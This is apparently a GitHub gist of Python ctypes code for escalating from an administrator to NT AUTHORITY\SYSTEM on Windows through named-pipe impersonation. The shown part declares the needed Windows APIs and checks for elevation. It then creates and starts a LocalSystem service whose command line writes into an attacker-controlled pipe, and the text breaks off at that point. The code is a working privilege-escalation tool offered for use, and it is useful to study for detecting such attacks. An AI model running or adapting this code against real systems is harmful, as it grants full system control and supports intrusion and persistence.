Last active
December 17, 2021 05:31
-
-
Save makelariss/09b816daa16f020d188c289fd401b0b2 to your computer and use it in GitHub Desktop.
NT AUTHORITY\SYSTEM through Named Pipe Impersonation using Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: UTF-8 -*- | |
from ctypes.wintypes import * | |
from ctypes import * | |
from enum import IntEnum | |
# These libraries have the APIs we need | |
kernel32 = WinDLL('kernel32', use_last_error=True) | |
advapi32 = WinDLL('advapi32', use_last_error=True) | |
psapi = WinDLL('psapi.dll', use_last_error=True) | |
# Define structures | |
# https://docs.python.org/2/library/ctypes.html#structures-and-unions | |
# The SECURITY_IMPERSONATION_LEVEL enumeration contains values that specify security impersonation levels. Security impersonation levels govern the degree to which a server process can act on behalf of a client process. | |
# or https://gist.github.com/christoph2/9c390e5c094796903097 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx | |
class SECURITY_IMPERSONATION_LEVEL(c_int): # typedef enum _SECURITY_IMPERSONATION_LEVEL { | |
SecurityAnonymous = 0 # SecurityAnonymous The server process cannot obtain identification information about the client, and it cannot impersonate the client. | |
SecurityIdentification = SecurityAnonymous + 1 # SecurityIdentification The server process can obtain information about the client, such as security identifiers and privileges, but it cannot impersonate the client. | |
SecurityImpersonation = SecurityIdentification + 1 # SecurityImpersonation The server process can impersonate the client's security context on its local system. | |
SecurityDelegation = SecurityImpersonation + 1 # SecurityDelegation The server can impersonate the client's security context on remote systems. | |
class c_enum(IntEnum): # A ctypes-compatible IntEnum superclass that implements the class method | |
@classmethod # https://docs.python.org/3/library/functions.html#classmethod | |
def from_param(cls, obj): # Define the class method `from_param`. | |
return c_int(cls(obj)) # The obj argument to the from_param method is the object instance, in this case the enumerated value itself. Any Enum with an integer value can be directly cast to int. TokenElevation -> TOKEN_INFORMATION_CLASS.TokenElevation | |
# The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx | |
class TOKEN_INFORMATION_CLASS(c_enum): # typedef enum _TOKEN_INFORMATION_CLASS { | |
TokenElevation = 20 # TokenElevationType The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. | |
# The TOKEN_TYPE enumeration contains values that differentiate between a primary token and an impersonation token. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379633(v=vs.85).aspx | |
class TOKEN_TYPE(c_enum): # typedef enum tagTOKEN_TYPE { | |
TokenPrimary = 1 # TokenPrimary Indicates a primary token. | |
TokenImpersonation = 2 # TokenImpersonation Indicates an impersonation token. | |
LPVOID = c_void_p | |
LPTSTR = c_void_p | |
LPBYTE = c_char_p | |
# Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx | |
class STARTUPINFO(Structure): # typedef struct _STARTUPINFO | |
_fields_ = [ # { | |
('cb', DWORD), # DWORD cb; | |
('lpReserved', LPTSTR), # LPTSTR lpReserved; | |
('lpDesktop', LPTSTR), # LPTSTR lpDesktop; | |
('lpTitle', LPTSTR), # LPTSTR lpTitle; | |
('dwX', DWORD), # DWORD dwX; | |
('dwY', DWORD), # DWORD dwY; | |
('dwXSize', DWORD), # DWORD dwXSize; | |
('dwYSize', DWORD), # DWORD dwYSize; | |
('dwXCountChars', DWORD), # DWORD dwXCountChars; | |
('dwYCountChars', DWORD), # DWORD dwYCountChars; | |
('dwFillAttribute', DWORD), # DWORD dwFillAttribute; | |
('dwFlags', DWORD), # DWORD dwFlags; | |
('wShowWindow', WORD), # WORD wShowWindow; | |
('cbReserved2', WORD), # WORD cbReserved2; | |
('lpReserved2', LPBYTE), # LPBYTE lpReserved2; | |
('hStdInput', HANDLE), # HANDLE hStdInput; | |
('hStdOutput', HANDLE), # HANDLE hStdOutput; | |
('hStdError', HANDLE) # HANDLE hStdError; | |
] # } | |
# Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx | |
class PROCESS_INFORMATION(Structure): # typedef struct _PROCESS_INFORMATION | |
_fields_ = [ # { | |
('hProcess', HANDLE), # HANDLE hProcess; | |
('hThread', HANDLE), # HANDLE hThread; | |
('dwProcessId', DWORD), # DWORD dwProcessId; | |
('dwThreadId', DWORD) # DWORD dwThreadId; | |
] # } | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx += https://msdn.microsoft.com/en-us/library/windows/desktop/ms683500(v=vs.85).aspx | |
SERVICES_ACTIVE_DATABASE = "ServicesActive" | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx#access_rights_for_the_service_control_manager | |
SC_MANAGER_CONNECT = 0x0001 # Required to connect to the service control manager. | |
SC_MANAGER_CREATE_SERVICE = 0x0002 # Required to call the CreateService function to create a service object and add it to the database. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx#access_rights_for_a_service | |
SERVICE_START = 0x0010 # Required to call the StartService function to start the service. | |
SERVICE_WIN32_OWN_PROCESS = 0x00000010 # Service that runs in its own process. | |
SERVICE_DEMAND_START = 0x00000003 # A service started by the service control manager when a process calls the StartService function. | |
SERVICE_ERROR_IGNORE = 0x00000000 # The startup program ignores the error and continues the startup operation. | |
DELETE = 0x00010000 # Required to call the DeleteService function to delete the service. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa365150(v=vs.85).aspx | |
PIPE_ACCESS_DUPLEX = 0x00000003 # The pipe is bi-directional; both server and client processes can read from and write to the pipe. | |
PIPE_TYPE_BYTE = 0x00000000 # Data is written to the pipe as a stream of bytes. | |
PIPE_WAIT = 0x00000000 # Blocking mode is enabled. When the pipe handle is specified in the ReadFile, WriteFile, or ConnectNamedPipe function, the operations are not completed until there is data to read, all data is written, or a client is connected. Use of this mode can mean waiting indefinitely in some situations for a client process to perform an action. | |
PIPE_UNLIMITED_INSTANCES = 255 # The maximum number of instances that can be created for this pipe. Acceptable values are in the range 1 through PIPE_UNLIMITED_INSTANCES (255). | |
# A bitfield that determines whether certain STARTUPINFO members are used when the process creates a window | https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx | |
STARTF_USESHOWWINDOW = 0x00000001 # The wShowWindow member contains additional information. | |
# dwLogonFlags [in] | |
LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. | |
# dwCreationFlags [in] | https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx | |
SW_SHOW = 5 # Activates the window and displays it in its current size and position. | |
CREATE_NEW_CONSOLE = 0x00000010 # The new process has a new console, instead of inheriting the parent's console. | |
# Standard access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379607(v=vs.85).aspx | |
SYNCHRONIZE = 0x00100000 # The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state. | |
DELETE = 0x00010000 # The right to delete the object | |
READ_CONTROL = 0x00020000 # The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL). To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. | |
WRITE_DAC = 0x00040000 # Required to modify the DACL in the security descriptor for the object. | |
WRITE_OWNER = 0x00080000 # Required to change the owner in the security descriptor for the object. | |
STANDARD_RIGHTS_READ = READ_CONTROL # Currently defined to equal READ_CONTROL | |
STANDARD_RIGHTS_WRITE = READ_CONTROL # Currently defined to equal READ_CONTROL | |
STANDARD_RIGHTS_REQUIRED = 0x000F0000 # Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access | |
# Process access rights for OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx | |
PROCESS_CREATE_PROCESS = 0x0080 # Required to create a process. | |
PROCESS_CREATE_THREAD = 0x0002 # Required to create a thread. | |
PROCESS_DUP_HANDLE = 0x0040 # Required to duplicate a handle using DuplicateHandle. | |
PROCESS_QUERY_INFORMATION = 0x0400 # Required to retrieve certain information about a process, such as its token, exit code, and priority class = see OpenProcessToken #. | |
PROCESS_QUERY_LIMITED_INFORMATION= 0x1000 # Required to retrieve certain information about a process = see GetExitCodeProcess, GetPriorityClass, IsProcessInJob, QueryFullProcessImageName #. A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP: This access right is not supported. | |
PROCESS_SET_INFORMATION = 0x0200 # Required to set certain information about a process, such as its priority class = see SetPriorityClass #. | |
PROCESS_SET_QUOTA = 0x0100 # Required to set memory limits using SetProcessWorkingSetSize. | |
PROCESS_SUSPEND_RESUME = 0x0800 # Required to suspend or resume a process. | |
PROCESS_TERMINATE = 0x0001 # Required to terminate a process using TerminateProcess. | |
PROCESS_VM_OPERATION = 0x0008 # Required to perform an operation on the address space of a process = see VirtualProtectEx and WriteProcessMemory #. | |
PROCESS_VM_READ = 0x0010 # Required to read memory in a process using ReadProcessMemory. | |
PROCESS_VM_WRITE = 0x0020 # Required to write to memory in a process using WriteProcessMemory. | |
PROCESS_ALL_ACCESS = (PROCESS_CREATE_PROCESS # All possible access rights for a process object. | |
| PROCESS_CREATE_THREAD | |
| PROCESS_DUP_HANDLE | |
| PROCESS_QUERY_INFORMATION | |
| PROCESS_QUERY_LIMITED_INFORMATION | |
| PROCESS_SET_INFORMATION | |
| PROCESS_SET_QUOTA | |
| PROCESS_SUSPEND_RESUME | |
| PROCESS_TERMINATE | |
| PROCESS_VM_OPERATION | |
| PROCESS_VM_READ | |
| PROCESS_VM_WRITE | |
| SYNCHRONIZE) | |
# Token access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx | |
TOKEN_ADJUST_PRIVILEGES = 0x00000020 # Required to enable or disable the privileges in an access token | |
TOKEN_QUERY = 0x00000008 # Required to query an access token | |
TOKEN_ASSIGN_PRIMARY = 0x0001 # Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task | |
TOKEN_DUPLICATE = 0x0002 # Required to duplicate an access token | |
TOKEN_IMPERSONATE = 0x0004 # Required to attach an impersonation access token to a process | |
TOKEN_QUERY_SOURCE = 0x0010 # Required to query the source of an access token | |
TOKEN_ADJUST_GROUPS = 0x0040 # Required to adjust the attributes of the groups in an access token | |
TOKEN_ADJUST_DEFAULT = 0x0080 # Required to change the default owner, primary group, or DACL of an access token | |
TOKEN_ADJUST_SESSIONID = 0x0100 # Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required | |
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) # Combines STANDARD_RIGHTS_READ and TOKEN_QUERY. | |
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED # Combines all possible access rights for a token. | |
| TOKEN_ASSIGN_PRIMARY | |
| TOKEN_DUPLICATE | |
| TOKEN_IMPERSONATE | |
| TOKEN_QUERY | |
| TOKEN_QUERY_SOURCE | |
| TOKEN_ADJUST_PRIVILEGES | |
| TOKEN_ADJUST_GROUPS | |
| TOKEN_ADJUST_DEFAULT | |
| TOKEN_ADJUST_SESSIONID) | |
#Retrieves the calling thread's last-error code value. The last-error code is maintained on a per-thread basis. Multiple threads do not overwrite each other's last-error code. | |
GetLastError = windll.kernel32.GetLastError # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx | |
GetLastError.restype = DWORD # DWORD WINAPI GetLastError(void); | |
# Retrieves a pseudo handle for the current process | |
GetCurrentProcess = kernel32.GetCurrentProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx | |
GetCurrentProcess.restype = HANDLE # HANDLE WINAPI GetCurrentProcess(void); | |
# Retrieves the process identifier of the calling process | |
GetCurrentProcessId = kernel32.GetCurrentProcessId # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683180(v=vs.85).aspx | |
GetCurrentProcessId.restype = DWORD # DWORD WINAPI GetCurrentProcessId(void); | |
# Retrieves a pseudo handle for the calling thread. | |
GetCurrentThread = kernel32.GetCurrentThread # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683182(v=vs.85).aspx | |
GetCurrentThread.restype = HANDLE # HANDLE WINAPI GetCurrentThread(void); | |
# Closes an open object handle. | |
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx | |
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle | |
CloseHandle.argtypes = [ # ( | |
HANDLE # HANDLE hObject | |
] # ); | |
PHANDLE = POINTER(HANDLE) | |
# The OpenProcessToken function opens the access token associated with a process | |
OpenProcessToken = advapi32.OpenProcessToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx | |
OpenProcessToken.restype = BOOL # BOOL WINAPI OpenProcessToken( | |
OpenProcessToken.argtypes = [ # ( | |
HANDLE, # HANDLE ProcessHandle, | |
DWORD, # DWORD DesiredAccess, | |
PHANDLE # PHANDLE TokenHandle | |
] # ); | |
LPDWORD = PDWORD = POINTER(DWORD) | |
# The GetTokenInformation function retrieves a specified type of information about an access token | |
GetTokenInformation = advapi32.GetTokenInformation # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx | |
GetTokenInformation.restype = BOOL # BOOL WINAPI GetTokenInformation | |
GetTokenInformation.argtypes = [ # ( | |
HANDLE, # HANDLE TokenHandle, | |
c_int, # TOKEN_INFORMATION_CLASS TokenInformationClass, (TOKEN_INFORMATION_CLASS.enum (eg: TokenElevation) -> cast to int (0x14)) | |
LPVOID, # LPVOID TokenInformation, | |
DWORD, # DWORD TokenInformationLength, | |
PDWORD # PDWORD ReturnLength | |
] # ); | |
# Opens an existing local process object | |
OpenProcess = kernel32.OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx | |
OpenProcess.restype = HANDLE # HANDLE WINAPI OpenProcess | |
OpenProcess.argtypes = [ # ( | |
DWORD, # DWORD dwDesiredAccess, | |
BOOL, # BOOL bInheritHandle, | |
DWORD # DWORD dwProcessId | |
] # ); | |
# Retrieves the base name of the specified module | |
GetModuleBaseNameA = psapi.GetModuleBaseNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683196(v=vs.85).aspx | |
GetModuleBaseNameA.restype = DWORD # DWORD WINAPI GetModuleBaseName | |
GetModuleBaseNameA.argtypes = [ # ( | |
HANDLE, # HANDLE hProcess, | |
HMODULE, # HMODULE hModule, | |
LPTSTR, # LPTSTR lpBaseName, | |
DWORD # DWORD nSize | |
] # ); | |
LPCTSTR = c_char_p | |
# Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database. | |
OpenSCManager = advapi32.OpenSCManagerA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx | |
OpenSCManager.restype = SC_HANDLE # SC_HANDLE WINAPI OpenSCManager | |
OpenSCManager.argtypes = [ # ( | |
LPCTSTR, # LPCTSTR lpMachineName, | |
LPCTSTR, # LPCTSTR lpDatabaseName, | |
DWORD # DWORD dwDesiredAccess | |
] # ); | |
# Creates a service object and adds it to the specified service control manager database. | |
CreateService = advapi32.CreateServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682450(v=vs.85).aspx | |
CreateService.restype = SC_HANDLE # SC_HANDLE WINAPI CreateService | |
CreateService.argtypes = [ # ( | |
SC_HANDLE, # SC_HANDLE hSCManager, | |
LPCTSTR, # LPCTSTR lpServiceName, | |
LPCTSTR, # LPCTSTR lpDisplayName, | |
DWORD, # DWORD dwDesiredAccess, | |
DWORD, # DWORD dwServiceType, | |
DWORD, # DWORD dwStartType, | |
DWORD, # DWORD dwErrorControl, | |
LPCTSTR, # LPCTSTR lpBinaryPathName, | |
LPCTSTR, # LPCTSTR lpLoadOrderGroup, | |
LPDWORD, # LPDWORD lpdwTagId, | |
LPCTSTR, # LPCTSTR lpDependencies, | |
LPCTSTR, # LPCTSTR lpServiceStartName, | |
LPCTSTR # LPCTSTR lpPassword | |
] # ); | |
# Opens an existing service. | |
OpenService = advapi32.OpenServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx | |
OpenService.restype = SC_HANDLE # SC_HANDLE WINAPI OpenService | |
OpenService.argtypes = [ # ( | |
SC_HANDLE, # SC_HANDLE hSCManager, | |
LPCTSTR, # LPCTSTR lpServiceName, | |
DWORD # DWORD dwDesiredAccess | |
] # ); | |
# Starts a service. | |
StartService = advapi32.StartServiceA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686321(v=vs.85).aspx | |
StartService.restype = bool # BOOL WINAPI StartService | |
StartService.argtypes = [ # ( | |
SC_HANDLE, # SC_HANDLE hService, | |
DWORD, # DWORD dwNumServiceArgs, | |
LPCTSTR # LPCTSTR *lpServiceArgVectors | |
] # ); | |
# Marks the specified service for deletion from the service control manager database. | |
DeleteService = advapi32.DeleteService # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682562(v=vs.85).aspx | |
DeleteService.restype = bool # BOOL WINAPI DeleteService( | |
DeleteService.argtypes = [ # ( | |
SC_HANDLE # SC_HANDLE hService | |
] # ) | |
# Closes a handle to a service control manager or service object. | |
CloseServiceHandle = advapi32.CloseServiceHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682028(v=vs.85).aspx | |
CloseServiceHandle.restype = SC_HANDLE # BOOL WINAPI CloseServiceHandle | |
CloseServiceHandle.argtypes = [ # ( | |
SC_HANDLE # SC_HANDLE hSCObject | |
] # ); | |
LPSECURITY_ATTRIBUTES = LPVOID | |
SIZE_T = c_size_t | |
LPTHREAD_START_ROUTINE = LPVOID | |
# Creates a thread to execute within the virtual address space of the calling process. | |
CreateThread = kernel32.CreateThread # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx | |
CreateThread.restype = HANDLE # HANDLE WINAPI CreateThread | |
CreateThread.argtypes = [ # ( | |
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpThreadAttributes, | |
SIZE_T, # SIZE_T dwStackSize, | |
LPTHREAD_START_ROUTINE, # LPTHREAD_START_ROUTINE lpStartAddress, | |
LPVOID, # LPVOID lpParameter, | |
DWORD, # DWORD dwCreationFlags, | |
LPDWORD # LPDWORD lpThreadId | |
] # ); | |
# Creates an instance of a named pipe and returns a handle for subsequent pipe operations. | |
CreateNamedPipe = kernel32.CreateNamedPipeA # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365150(v=vs.85).aspx | |
CreateNamedPipe.restype = HANDLE # HANDLE WINAPI CreateNamedPipe | |
CreateNamedPipe.argtypes = [ # ( | |
LPCTSTR, # LPCTSTR lpName, | |
DWORD, # DWORD dwOpenMode, | |
DWORD, # DWORD dwPipeMode, | |
DWORD, # DWORD nMaxInstances, | |
DWORD, # DWORD nOutBufferSize, | |
DWORD, # DWORD nInBufferSize, | |
DWORD, # DWORD nDefaultTimeOut, | |
LPSECURITY_ATTRIBUTES # LPSECURITY_ATTRIBUTES lpSecurityAttributes | |
] # ); | |
LPOVERLAPPED = LPVOID | |
# Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe. | |
ConnectNamedPipe = kernel32.ConnectNamedPipe # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365146(v=vs.85).aspx | |
ConnectNamedPipe.restype = bool # BOOL WINAPI ConnectNamedPipe | |
ConnectNamedPipe.argtypes = [ # ( | |
HANDLE, # HANDLE hNamedPipe, | |
LPOVERLAPPED # LPOVERLAPPED lpOverlapped | |
] # ); | |
# Reads data from the specified file or input/output (I/O) device. | |
ReadFile = kernel32.ReadFile # https://msdn.microsoft.com/en-us/library/windows/desktop/aa365467(v=vs.85).aspx | |
ReadFile.restype = bool # BOOL WINAPI ReadFile | |
ReadFile.argtypes = [ # ( | |
HANDLE, # HANDLE hFile, | |
LPVOID, # LPVOID lpBuffer, | |
DWORD, # DWORD nNumberOfBytesToRead, | |
LPDWORD, # LPDWORD lpNumberOfBytesRead, | |
LPOVERLAPPED # LPOVERLAPPED lpOverlapped | |
] # ); | |
# The ImpersonateNamedPipeClient function impersonates a named-pipe client application. | |
ImpersonateNamedPipeClient = advapi32.ImpersonateNamedPipeClient # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378618(v=vs.85).aspx | |
ImpersonateNamedPipeClient.restype = bool # BOOL WINAPI ImpersonateNamedPipeClient | |
ImpersonateNamedPipeClient.argtypes = [ # ) | |
HANDLE # HANDLE hNamedPipe | |
] # ); | |
# The OpenThreadToken function opens the access token associated with a thread. | |
OpenThreadToken = advapi32.OpenThreadToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379296(v=vs.85).aspx | |
OpenThreadToken.restype = bool # BOOL WINAPI OpenThreadToken | |
OpenThreadToken.argtypes = [ # ( | |
HANDLE, # HANDLE ThreadHandle, | |
DWORD, # DWORD DesiredAccess, | |
BOOL, # BOOL OpenAsSelf, | |
PHANDLE # PHANDLE TokenHandle | |
] # ); | |
# The DuplicateTokenEx function creates a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token. | |
DuplicateTokenEx = advapi32.DuplicateTokenEx # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx | |
DuplicateTokenEx.restype = bool # BOOL WINAPI DuplicateTokenEx | |
DuplicateTokenEx.argtypes = [ # ( | |
HANDLE, # HANDLE hExistingToken, | |
DWORD, # DWORD dwDesiredAccess, | |
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpTokenAttributes, | |
SECURITY_IMPERSONATION_LEVEL, # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, | |
TOKEN_TYPE, # TOKEN_TYPE TokenType, | |
PHANDLE # PHANDLE phNewToken | |
] # ); | |
# Retrieves the contents of the specified variable from the environment block of the calling process. | |
GetEnvironmentVariable = kernel32.GetEnvironmentVariableW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683188(v=vs.85).aspx | |
GetEnvironmentVariable.restype = DWORD # DWORD WINAPI GetEnvironmentVariable | |
GetEnvironmentVariable.argtypes = [ # ( | |
LPCWSTR, # LPCTSTR lpName, | |
LPWSTR, # LPTSTR lpBuffer, | |
DWORD # DWORD nSize, | |
] # ) | |
LPSTARTUPINFO = PSTARTUPINFO = POINTER(STARTUPINFO) | |
LPPROCESS_INFORMATION = PPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION) | |
# Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token. | |
CreateProcessAsUser = advapi32.CreateProcessAsUserA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682429(v=vs.85).aspx | |
CreateProcessAsUser.restype = bool # BOOL WINAPI CreateProcessAsUser | |
CreateProcessAsUser.argtypes = [ # ( | |
HANDLE, # HANDLE hToken, | |
LPCTSTR, # LPCTSTR lpApplicationName, | |
LPTSTR, # LPTSTR lpCommandLine, | |
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpProcessAttributes, | |
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpThreadAttributes, | |
BOOL, # BOOL bInheritHandles, | |
DWORD, # DWORD dwCreationFlags, | |
LPVOID, # LPVOID lpEnvironment, | |
LPCTSTR, # LPCTSTR lpCurrentDirectory, | |
LPSTARTUPINFO, # LPSTARTUPINFO lpStartupInfo, | |
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInformation | |
] # ); | |
# Creates a new process and its primary thread. The new process runs in the security context of the specified token. | |
CreateProcessWithToken = advapi32.CreateProcessWithTokenW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx | |
CreateProcessWithToken.restype = bool # BOOL WINAPI CreateProcessWithTokenW | |
CreateProcessWithToken. argtypes = [ # ( | |
HANDLE, # HANDLE hToken, | |
DWORD, # DWORD dwLogonFlags, | |
LPCWSTR, # LPCWSTR lpApplicationName, | |
LPWSTR, # LPWSTR lpCommandLine, | |
DWORD, # DWORD dwCreationFlags, | |
LPCWSTR, # LPVOID lpEnvironment, | |
LPCWSTR, # LPCWSTR lpCurrentDirectory, | |
LPSTARTUPINFO, # LPSTARTUPINFOW lpStartupInfo, | |
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInfo | |
] | |
def areAdminRightsEnabled(): | |
currentToken = HANDLE() | |
OpenProcessToken( | |
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission. | |
TOKEN_READ, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied. | |
byref(currentToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns. | |
TokenInformation = DWORD() | |
ReturnLength = DWORD() | |
cracknak69 = GetTokenInformation( | |
currentToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access. | |
TOKEN_INFORMATION_CLASS.TokenElevation, # _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves. | |
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter. | |
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero. | |
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter. | |
if TokenInformation: | |
currenthandle = OpenProcess( | |
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. | |
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. | |
GetCurrentProcessId()) # _In_ dwProcessId The identifier of the local process to be opened. | |
BaseName = (c_char * MAX_PATH)() | |
GetModuleBaseNameA( | |
currenthandle, # _In_ hProcess A handle to the process that contains the module. | |
None, # _In_opt_ hModule A handle to the module. If this parameter is NULL, this function returns the name of the file used to create the calling process. | |
byref(BaseName), # _Out_ lpBaseName A pointer to the buffer that receives the base name of the module. | |
sizeof(BaseName)) # _In_ nSize The size of the lpBaseName buffer, in characters. | |
print "[+] Process", BaseName.value,"has elevated privileges.. continuing" | |
return bool(TokenInformation) # NULL pointers have a False boolean value | |
CloseHandle(currentToken) # _In_ hObject A valid handle to an open object. | |
def Service(lol): | |
global ServiceName | |
serviceDBHandle = OpenSCManager( | |
r'\\localhost', # _In_opt_ lpMachineName The name of the target computer. If the pointer is NULL or points to an empty string, the function connects to the service control manager on the local computer. | |
SERVICES_ACTIVE_DATABASE, # _In_opt_ lpDatabaseName The name of the service control manager database. | |
SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE) # _In_ dwDesiredAccess The access to the service control manager. | |
if not serviceDBHandle: | |
raise RuntimeError("Error while connecting to the local service database using OpenSCManager: %s" %GetLastError()) | |
print "[*] Connecting to the local service control management database" | |
ServiceName = u"highsenburger69" | |
payload = r"%COMSPEC% /c ping -n 1 127.0.0.1 >nul&&echo 'facebook.com/Nullwatch0x2/' > \\.\pipe\highsenburger69" | |
schService = CreateService( | |
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database. | |
ServiceName, # _In_ lpServiceName The name of the service to install. | |
None, # _In_opt_ lpDisplayName The display name to be used by user interface programs to identify the service. | |
READ_CONTROL | WRITE_DAC | SERVICE_START, # _In_ dwDesiredAccess The access to the service. | |
SERVICE_WIN32_OWN_PROCESS, # _In_ dwServiceType The service type in our case a service that runs in its own process. | |
SERVICE_DEMAND_START, # _In_ dwStartType The service is started by the service control manager when a process calls the StartService function. | |
SERVICE_ERROR_IGNORE, # _In_ dwErrorControl The severity of the error, and action taken, if this service fails to start in our case The startup program ignores the error and continues the startup operation. | |
payload, # _In_opt_ lpBinaryPathName The fully qualified path to the service binary file. The path can also include arguments for an auto-start service. | |
None, # _In_opt_ lpLoadOrderGroup The names of the load ordering group of which this service is a member. Specify NULL or an empty string if the service does not belong to a group. | |
None, # _Out_opt_ lpdwTagId A pointer to a variable that receives a tag value that is unique in the group specified in the lpLoadOrderGroup parameter. Specify NULL if you are not changing the existing tag. | |
None, # _In_opt_ lpDependencies A pointer to a double null-terminated array of null-separated names of services or load ordering groups that the system must start before this service. Specify NULL or an empty string if the service has no dependencies. | |
None, # _In_opt_ lpServiceStartName The name of the account under which the service should run. If this parameter is NULL, CreateService uses the LocalSystem account. | |
None) # _In_opt_ lpPassword The password to the account name specified by the lpServiceStartName parameter. | |
if not schService: | |
raise RuntimeError("Error while creating our service using CreateService: %s" %GetLastError()) | |
print "\t[+] Creating service:", ServiceName | |
serviceHandle = OpenService( | |
serviceDBHandle, # _In_ hSCManager A handle to the service control manager database. | |
ServiceName, # _In_ lpServiceName The name of the service to be opened. | |
SERVICE_START) # _In_ dwDesiredAccess The access to the service. | |
print "\t[+] Starting our service" | |
StartService( | |
